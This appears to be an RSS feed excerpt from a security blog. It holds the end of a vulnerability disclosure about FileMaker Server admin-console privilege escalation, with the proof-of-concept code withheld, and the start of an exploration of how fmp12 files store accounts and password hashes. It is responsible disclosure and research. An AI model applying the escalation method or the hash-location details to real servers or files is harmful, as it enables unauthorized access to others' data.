 &amp;#34;password&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;restricted_access&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575613430
 }
 ]
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are essentially taking the configuration object initially obtained from &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt;, adding all privileges, remove the sub-folder restriction and send it to the server.&lt;/p&gt;
&lt;p&gt;Our connection is dropped, but next time we login with our previously limited role, we now have all the controls available in the frontend (which sends events that are, of course, successfully processed on the server side as well).&lt;/p&gt;
&lt;h2 id="proof-of-concept"&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;Putting both the IP restriction bypass and the Administrator Role privilege escalation into a proof of concept, it could look like this:&lt;/p&gt;
&lt;div class="notice notice-warning"&gt;
 When I prepared this post, I originally wanted to publish the proof-of-concept code here to demonstrate the issue. I now decided against this, because one of the issues is still not properly fixed even though the ticket at Apple was marked as &amp;ldquo;resolved&amp;rdquo;. I communicated this, but they require a new ticket to be opened, even though in my opinion all information is already available. They also labeled the bug as &amp;ldquo;Ineligible&amp;rdquo; for a bounty. I didn&amp;rsquo;t open a new ticket to explain everything again, but will hold off from publishing the proof-of-concept code for now.
&lt;/div&gt;

&lt;p&gt;(continued from originally prepared post)&lt;/p&gt;
&lt;p&gt;The output will be the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2023-09-01 18:01:58 [INFO] Got auth token
2023-09-01 18:02:03 [INFO] WebSocket connected
2023-09-01 18:02:03 [INFO] Identified admin role object
2023-09-01 18:02:03 [INFO] Sending changed admin role object. Re-login to the admin console to see if additional privileges have been added.
2023-09-01 18:02:03 [INFO] Disconnected
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In short, the script authenticates with a restricted administrator role, then makes a socket.IO connection and waits for the server to send the &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt; event.&lt;/p&gt;
&lt;p&gt;Once received, it takes the config object of the role that we authenticated with, adds all privileges and removes the folder restriction from the config object, and then emits a &lt;code&gt;EVENT_ADMIN_ROLE_UPDATE&lt;/code&gt; event with the crafted payload.&lt;/p&gt;
&lt;p&gt;After running the script, the formerly restricted administrator role now has all privileges and can re-login to the admin console.&lt;/p&gt;
&lt;h2 id="timeline"&gt;Timeline&lt;/h2&gt;
&lt;p&gt;I reported these issues on 01.09.2023 via the Apple Security program. For CVE-2024-40768 I received a bounty. The other two issues were deemed &amp;ldquo;Ineligible&amp;rdquo; for a bounty (in my opinion the privilege escalation is more severe than the rewarded issue, but maybe it falls into a different category - who knows!?).&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2024-40768 was closed in October 2024 (fixed in 21.0.1).&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2023-42954 was closed in June 2024 (partially fixed in 20.3.1; fix is insufficient)&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2023-42955 is still open, but the issue was already fixed in version 20.3.2 (8 months ago).&lt;/p&gt;
&lt;p&gt;I decided to publish this post in October 2024 (without any proof-of-concept code for now, due to the reasons explained above).&lt;/p&gt;
&lt;h2 id="claris-disclosures"&gt;Claris disclosures&lt;/h2&gt;
&lt;p&gt;All bugs were publicly disclosed by Claris before this post was published:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/article/Administrator-role-passwords-being-exposed-when-logged-into-the-Admin-Console?language=en_US"&gt;CVE-2023-42955&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/answerview?anum=000041424&amp;amp;language=en_US"&gt;CVE-2023-42954&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/article/Admin-Console-access-restriction-bypass-in-Claris-FileMaker-Server-Cloud?language=en_US"&gt;CVE-2024-40768&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Exploring the fmp12 file format; or: what was my password again?</title><link>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</link><pubDate>Mon, 17 Jun 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.&lt;/p&gt;
&lt;p&gt;The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.&lt;/p&gt;
&lt;p&gt;The only information on the latter was that &amp;ldquo;a one-way hash&amp;rdquo; is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also &amp;ldquo;damage&amp;rdquo; your file, without any further clarification.&lt;/p&gt;
&lt;p&gt;In my opinion this kind of knowledge shouldn&amp;rsquo;t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.&lt;/p&gt;
&lt;p&gt;It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I&amp;rsquo;ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don&amp;rsquo;t have the password (i.e. you cannot get into the file to access the data or code).&lt;/p&gt;
&lt;p&gt;In June 2024, I gave a talk about this topic at the &lt;a href="https://www.dotfmp.berlin"&gt;dotfmp conference&lt;/a&gt;. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).&lt;/p&gt;
&lt;p&gt;The following article does &lt;em&gt;not&lt;/em&gt; come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.&lt;/p&gt;
&lt;p&gt;A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.&lt;/p&gt;
&lt;p&gt;Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are &lt;em&gt;not&lt;/em&gt; talking about accessing a remote file on FileMaker Server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don&amp;rsquo;t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it&amp;rsquo;s designed for exactly this.&lt;/p&gt;
&lt;h2 id="number-bases--radices-bits-and-bytes"&gt;Number bases / radices, bits and bytes&lt;/h2&gt;
&lt;p&gt;Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.&lt;/p&gt;
&lt;h3 id="base-10"&gt;Base 10&lt;/h3&gt;
&lt;p&gt;In everyday life we&amp;rsquo;re mostly using the base 10 numeral system. If you see the number 2024, you don&amp;rsquo;t think much about it because you&amp;rsquo;re used to working with decimal numbers.&lt;/p&gt;
&lt;p&gt;But let&amp;rsquo;s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.&lt;/p&gt;
&lt;p&gt;The number 2024 can be represented like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:&lt;/p&gt;
$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$&lt;p&gt;As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.&lt;/p&gt;
&lt;h3 id="base-2"&gt;Base 2&lt;/h3&gt;
&lt;p&gt;In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of &lt;code&gt;0b1101&lt;/code&gt; (decimal &lt;code&gt;13&lt;/code&gt;), we can compute the decimal value using the same steps as before:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$&lt;div class="notice notice-info"&gt;
 Often times the prefix &lt;code&gt;0b&lt;/code&gt; is used to indicate that you&amp;rsquo;re looking at a binary number.
&lt;/div&gt;

&lt;h3 id="base-16"&gt;Base 16&lt;/h3&gt;
&lt;p&gt;Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from &lt;code&gt;10&lt;/code&gt; to &lt;code&gt;15&lt;/code&gt; are represented by letters &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;f&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Hexadecimal values are usually prefixed with &lt;code&gt;0x&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$&lt;h3 id="bits-and-bytes"&gt;Bits and Bytes&lt;/h3&gt;
&lt;p&gt;As the last theoretical bit (pun not intended :-)), let&amp;rsquo;s have a look what is in a byte and how we can represent bytes in a clear way:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.&lt;/p&gt;
&lt;p&gt;Looking at just a 16-bit (2-byte) value, you can tell that 16 &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s are hard to make sense of (unless they are all the same). And in a decimal representation it&amp;rsquo;s hard to know how many bytes a number represents.&lt;/p&gt;
&lt;p&gt;But seeing the same value represented in hexadecimal, we can immediately spot that it&amp;rsquo;s two bytes (1 byte can be represented in two hex digits):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-fmp12-file-format"&gt;The fmp12 file format&lt;/h2&gt;
&lt;h3 id="visual-inspection-and-header"&gt;Visual inspection and header&lt;/h3&gt;
&lt;p&gt;Now that we&amp;rsquo;ve covered the theoretical background, let&amp;rsquo;s see how an fmp12 file actually looks like when examining the raw bytes of it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As is common for many formats, the file begins with a &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;magic byte-sequence&lt;/a&gt; signature. This is followed by what appears to be the internal name of the format: HBAM7.&lt;/p&gt;
&lt;p&gt;If we were to look at an encrypted file the format would say &lt;code&gt;HBAMe&lt;/code&gt; and the rest of the file would by, well, encrypted.&lt;/p&gt;
&lt;p&gt;A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (&lt;code&gt;0x00&lt;/code&gt;) as the blocks are usually not completely filled.&lt;/p&gt;
&lt;h3 id="helpful-resources"&gt;Helpful resources&lt;/h3&gt;
&lt;p&gt;As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=e9z4PL6QdzQ"&gt;Under the Hood: The Draco Engine - Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=rrNNralTks8"&gt;Under the Hood: Draco Database by Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/evanmiller/fmptools"&gt;fmptools, code + docs (op codes), Evan Miller&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, &lt;code&gt;fmptools&lt;/code&gt;, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;documenting&lt;/a&gt; many of the byte-codes used in the payloads of the 4K blocks.&lt;/p&gt;
&lt;p&gt;If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.&lt;/p&gt;
&lt;h3 id="block-structure"&gt;Block structure&lt;/h3&gt;
&lt;p&gt;The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.&lt;/p&gt;
&lt;p&gt;This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.&lt;/p&gt;
&lt;p&gt;So by parsing the block header, we can determine the offset to which we need to jump next in the file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="payload"&gt;Payload&lt;/h3&gt;
&lt;p&gt;The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.&lt;/p&gt;
&lt;p&gt;The op-codes &lt;code&gt;0x40&lt;/code&gt; (POP) and &lt;code&gt;0x20&lt;/code&gt; (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.&lt;/p&gt;
&lt;p&gt;The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.&lt;/p&gt;
&lt;p&gt;Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;fmptools repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it&amp;rsquo;s generally OK to skip ahead as long as the unknown codes don&amp;rsquo;t appear in the same block as the information we are interested in.&lt;/p&gt;
&lt;h2 id="encoding-of-data-and-payload-examples"&gt;Encoding of data, and payload examples&lt;/h2&gt;
&lt;p&gt;When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say we were to open an fmp12 file and chose the name &lt;code&gt;AAAAAA&lt;/code&gt; for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.&lt;/p&gt;
&lt;p&gt;If you perform this experiment, you will quickly notice that the plaintext &lt;code&gt;AAAAAA&lt;/code&gt; does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six &lt;code&gt;A&lt;/code&gt;s do not appear as six instances of &lt;code&gt;0x41&lt;/code&gt; (decimal 65, the ASCII code for capital A) but rather as &lt;code&gt;0x1b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why &lt;code&gt;0x1b&lt;/code&gt;? It turns out that all the data in fmp12 files is XORed with the byte &lt;code&gt;0x5a&lt;/code&gt; – I assume just for a little obfuscation.&lt;/p&gt;
&lt;p&gt;How would you find the XOR byte? You just try out all possible byte values and see which one gives you back &lt;code&gt;0x41&lt;/code&gt; (&lt;code&gt;A&lt;/code&gt;) again.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have look at a short example of the bitwise XOR operation in case you are not familiar with it.&lt;/p&gt;
&lt;h3 id="xor-example"&gt;XOR example&lt;/h3&gt;
&lt;p&gt;We established that &lt;code&gt;0x1b ^ 0x5a = 0x41 = 65 = A&lt;/code&gt; (the caret denoting the XOR operator).&lt;/p&gt;
&lt;p&gt;XOR stands for &amp;ldquo;exclusive or&amp;rdquo; and the result of the operation is only true (1), if the two given inputs differ.&lt;/p&gt;
&lt;p&gt;And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.&lt;/p&gt;
&lt;p&gt;Sticking with the example from above, this looks like follows:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b00011011 ^ 0b01011010 = 0b01000001

00011011 &amp;lt;== 0x1b
01011010 &amp;lt;== 0x5a
--------
01000001 &amp;lt;== 0x41
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going back to the formula from the very beginning, we can see that \(2^6 + 2^0 = 65\), and 65 is again the ASCII code for &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="key-value-example"&gt;Key-value example&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s now look at an example of a data chunk inside a payload.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case &lt;code&gt;0x06&lt;/code&gt; would be the code for a key-value pair.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x10&lt;/code&gt; would be the key, and &lt;code&gt;0x05&lt;/code&gt; the length of the data for this key.&lt;/p&gt;
&lt;p&gt;Looking at the next 5 bytes (length), we have &lt;code&gt;0x1b 0x3e 0x37 0x33 0x34&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Performing an XOR operation with each byte and the constant &lt;code&gt;0x5a&lt;/code&gt; as explained above, we get:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII &amp;#34;A&amp;#34;, 0x64 = &amp;#34;d&amp;#34;, ... 0x6E = &amp;#34;n&amp;#34;
&amp;#34;Admin&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So the example above would store the string &lt;code&gt;Admin&lt;/code&gt; with key &lt;code&gt;0x10&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="path-operation-example"&gt;Path operation example&lt;/h3&gt;
&lt;p&gt;As mentioned before, the payload also contains op-codes for &lt;code&gt;PUSH&lt;/code&gt; and &lt;code&gt;POP&lt;/code&gt; operations. Let&amp;rsquo;s look at an example and assume the current path is &lt;code&gt;17.1&lt;/code&gt; (arbitrary for this example):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We start by looking at the first byte, determine it&amp;rsquo;s a &lt;code&gt;POP&lt;/code&gt; operation and thus pop off the &lt;code&gt;1&lt;/code&gt; of our example path, leaving only &lt;code&gt;17&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another &lt;code&gt;POP&lt;/code&gt; operation (second byte) also pops off the &lt;code&gt;17&lt;/code&gt;, leaving us with an empty path.&lt;/p&gt;
&lt;p&gt;The third byte is the op-code for a &lt;code&gt;PUSH&lt;/code&gt; operation with the value &lt;code&gt;0x17&lt;/code&gt;. So we push &lt;code&gt;0x17&lt;/code&gt;, or &lt;code&gt;23&lt;/code&gt; in decimal, onto the path (not to be confused with the decimal &lt;code&gt;17&lt;/code&gt; in the beginning).&lt;/p&gt;
&lt;p&gt;The fourth byte is a &lt;code&gt;NOP&lt;/code&gt;, a no-operation instruction. Thus, nothing changes.&lt;/p&gt;
&lt;p&gt;Then, we continue with another &lt;code&gt;PUSH&lt;/code&gt; of the value &lt;code&gt;1&lt;/code&gt;, meaning our path becomes &lt;code&gt;23.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We continue in the same way as before and eventually arrive at a path of &lt;code&gt;23.1.1&lt;/code&gt;. Here is a list of the instructions in less verbose form:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40: POP one off path -&amp;gt; 17
0x40: POP one off path -&amp;gt; empty
0x20 0x17: PUSH 0x17 -&amp;gt; 23
0x80: NOP -&amp;gt; 23
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1
0x80: NOP -&amp;gt; 23.1
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the key-value pair from the previous example would follow, it would have the path &lt;code&gt;23.1.1.16&lt;/code&gt; (16, or &lt;code&gt;0x10&lt;/code&gt;, being the key).&lt;/p&gt;
&lt;h2 id="how-do-we-get-to-the-accounts"&gt;How do we get to the accounts?&lt;/h2&gt;
&lt;p&gt;With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).&lt;/p&gt;
&lt;p&gt;How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as &lt;code&gt;Admin&lt;/code&gt;, are stored, then note down their path (we know the account names to search for as we are parsing our own files).&lt;/p&gt;
&lt;p&gt;What we find is that account information is generally stored at path &lt;code&gt;23.1.5.N&lt;/code&gt;, where &lt;code&gt;N&lt;/code&gt; is the account number. So the first account would be in &lt;code&gt;23.1.5.1&lt;/code&gt;, the second account in &lt;code&gt;23.1.5.2&lt;/code&gt;, and so on. The parent path &lt;code&gt;23.1.5&lt;/code&gt; always stays the same.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that you don&amp;rsquo;t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the &amp;ldquo;normal&amp;rdquo; way and if passwords can easily be reset.
&lt;/div&gt;

&lt;p&gt;Where exactly is the name stored and what else is &amp;ldquo;nearby&amp;rdquo;? Let&amp;rsquo;s have a look at a chunk of a payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..&amp;lt;..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.&amp;lt;..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&amp;amp;.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......&amp;gt;734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name &amp;ldquo;Admin&amp;rdquo; (XORed) is highlighted in blue.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Account information in payload" loading="lazy" src="https://davidhamann.de/images/fmp12-account-storage.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Parsing this payload would look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.&lt;/p&gt;
&lt;p&gt;The account name is always stored with key &lt;code&gt;16&lt;/code&gt; or &lt;code&gt;0x10&lt;/code&gt;, and XORed with &lt;code&gt;0x5a&lt;/code&gt; (just like the other data).&lt;/p&gt;
&lt;p&gt;The value at key &lt;code&gt;0x04&lt;/code&gt; (&lt;code&gt;05407cdc76b7f1fd29ac5a9c791af6b8&lt;/code&gt;) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.&lt;/p&gt;
&lt;p&gt;The 59-byte long value at key &lt;code&gt;0x06&lt;/code&gt; (&lt;code&gt;010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f&lt;/code&gt;) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always &lt;code&gt;0x01&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hint: for the rest of this blog post we will mostly talk about these two values (key &lt;code&gt;0x04&lt;/code&gt; and &lt;code&gt;0x06&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="what-to-do-with-this-information"&gt;What to do with this information?&lt;/h2&gt;
&lt;p&gt;To make further progress, we have three options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file&lt;/li&gt;
&lt;li&gt;Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, &amp;hellip;), attach a debugger and read some assembly code&lt;/li&gt;
&lt;li&gt;Just YOLO it, start changing some bytes in the file and see what happens 🤞&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As professionals, we obviously choose option 3 ;-)&lt;/p&gt;
&lt;p&gt;So what happens when we, for example, just change the account name at path &lt;code&gt;23.1.5.2.16&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Can we still open the file?&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
